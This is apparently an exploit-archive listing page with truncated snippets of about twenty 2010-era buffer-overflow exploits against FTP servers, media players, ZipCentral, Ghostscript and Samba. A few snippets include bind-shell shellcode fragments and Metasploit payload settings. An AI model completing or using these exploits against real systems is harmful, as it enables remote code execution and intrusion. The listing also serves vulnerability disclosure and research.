UPlusFTP Server 1.7.1.01 - (Authenticated) HTTP Remote Buffer Overflow

UPlusFTP Server 1.7.1.01 - Authenticated HTTP Remote Buffer Overflow !/usr/bin/python import socket,sys,base64 print """ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ UPlusFTP Server v1.7.1.01 HTTP Remot...

UPlusFTP Server 1.7.1.01 Buffer Overflow

!/usr/bin/python import socket,sys,base64 print """ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ UPlusFTP Server v1.7.1.01 HTTP Remote BoF Exploit PoC Discovered by : Karn Ganeshen Author : Karn Ganeshe...

UPlusFTP Server 1.7.1.01 - (Authenticated) HTTP Remote Buffer Overflow

!/usr/bin/python import socket,sys,base64 print """ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ UPlusFTP Server v1.7.1.01 HTTP Remote BoF Exploit PoC Discovered by : Karn Ganeshen Author : Karn Ganeshe...

QQPlayer 2.3.696.400p1 - .smi File Buffer Overflow

QQPlayer 2.3.696.400p1 - .smi File Buffer Overflow !/usr/bin/env python Title: QQPlayer smi File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.qq.com Platform: Windows XPSP3 Chinese Simplified Tested: QQPlayer 2.3.696.400p1 Vulnerable: QQPlayer video...

QQPlayer smi File Buffer Overflow Exploit

Exploit for windows platform in category local exploits ========================================= QQPlayer smi File Buffer Overflow Exploit ========================================= !/usr/bin/env python Title: QQPlayer smi File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation...

QQ影音ASX和CUE文件处理栈溢出漏洞

QQ影音是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。 用户受骗使用QQ影音打开了特制的ASX或CUE文件就可以触发栈溢出，导致执行任意代码。 Tencent QQ影音 2.3.969.400p1 厂商补丁： Tencent ------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://player.qq.com/ !/usr/bin/env python Title: QQPlayer cue File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation...

ZipCentral Buffer Overflow

Author : Jiten Pathy July 21 2010 Thanks to the http://en.wikipedia.org/wiki/PKZIP page for heelping me understand zip file format Thanks to corelanc0d3r for shredding light on these type of exploits at http://www.offensive-security.com/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/ Greetz ...

QQPlayer Buffer Overflow

Title: QQPlayer asx File Processing Buffer Overflow Exploit Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University Vendor: www.qq.com Platform: Windows XPSP3 Chinese Simplified Test: QQPlayer 2.3.696.400 Vulnerable: QQPlayer '''...

ZipCentral - .zip Local Buffer Overflow (SEH)

ZipCentral - .zip Local Buffer Overflow SEH Author : Jiten Pathy July 21 2010 Thanks to the http://en.wikipedia.org/wiki/PKZIP page for heelping me understand zip file format Thanks to corelanc0d3r for shredding light on these type of exploits at...

ZipCentral (.zip) Buffer Overflow (SEH)

Exploit for windows platform in category local exploits ======================================= ZipCentral .zip Buffer Overflow SEH ======================================= Author : Jiten Pathy July 21 2010 Thanks to the http://en.wikipedia.org/wiki/PKZIP page for heelping me understand zip file...

Ghostscript - '.PostScript' File Stack Overflow

Check Point Software Technologies - Vulnerability Discovery Team VDT Rodrigo Rubira Branco - GhostScript Stack Overflow bsd/x86/shellbindtcp - 214 bytes http://www.metasploit.com Encoder: x86/alphaupper AppendExit=false, PrependSetresuid=false, PrependSetuid=false, LPORT=4444, RHOST=,...

EasyFTP Server 1.7.0.11 - CWD (Authenticated) Remote Buffer Overflow

EasyFTP Server 1.7.0.11 - CWD Authenticated Remote Buffer Overflow Exploit Title: Easy FTP Server v1.7.0.11 CWD Command Remote Buffer Overflow Exploit Post Auth Date: 2010-07-18 Author: @fdiskyou e-mail: rui at deniable.org Software Link: Version: 1.7.0.11 Tested on: Windows XP SP3 en import sock...

Easy FTP Server v1.7.0.11 MKD Command Remote Buffer Overflow Exploit

Exploit for windows platform in category remote exploits ================================================================================ Easy FTP Server v1.7.0.11 MKD Command Remote Buffer Overflow Exploit Post Auth ================================================================================...

Easy FTP Server v1.7.0.11 LIST Command Remote Buffer Overflow Exploit

Exploit for windows platform in category remote exploits ================================================================================= Easy FTP Server v1.7.0.11 LIST Command Remote Buffer Overflow Exploit Post Auth...

EasyFTP Server 1.7.0.11 - 'MKD' (Authenticated) Remote Buffer Overflow

!/usr/bin/python import socket,sys Tested on XP Pro SP2 Eng and XP Pro SP3 Eng print """ Easy FTP Server v1.7.0.11 MKD Remote BoF Exploit Post Authentication Author / Discovered by : Karn Ganeshen Date : July 5, 2010 KarnGaneshen aT gmail d0t com http://ipositivesecurity.blogspot.com """ if...

Mini-Stream RM-MP3 Converter v3.1.2.1 (.pls) Stack Buffer Overflow

Exploit for windows platform in category local exploits ============================================================================ Mini-Stream RM-MP3 Converter v3.1.2.1 .pls Stack Buffer Overflow universal ============================================================================ Mini-Stream...

linux/x86 standard system beep polymorphic shellcode 87 bytes

Exploit for linux/x86 platform in category shellcode ============================================================= linux/x86 standard system beep polymorphic shellcode 87 bytes ============================================================= /...

FathFTP ActiveX控件GetFromURL和RasIsConnected调用栈溢出漏洞

CVE ID: CVE-2010-2701 FathFTP是Windows开发人员可使用的FTP客户端和FTP服务器ActiveX/COM组件。 FathFTP ActiveX控件没有正确地验证提交给GetFromURL或RasIsConnected方式的输入参数，用户受骗访问了恶意网页并向上述方式传送了超长参数就可以触发栈溢出，导致执行任意代码。 FathFTP ActiveX 1.7 临时解决方法： 为clsid 62A989CE-D39A-11D5-86F0-B9C370762176设置kill bit。 厂商补丁： Fath Software -------------...

Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit)

$Id: trans2open.rb 9828 2010-07-14 17:27:23Z hdm $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...

Image22 1.1.1 Buffer Overflow

' 988 bytes for shellcode ' bind shell port 4444 sc = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" & unescape"%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34" & unescape"%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41" &...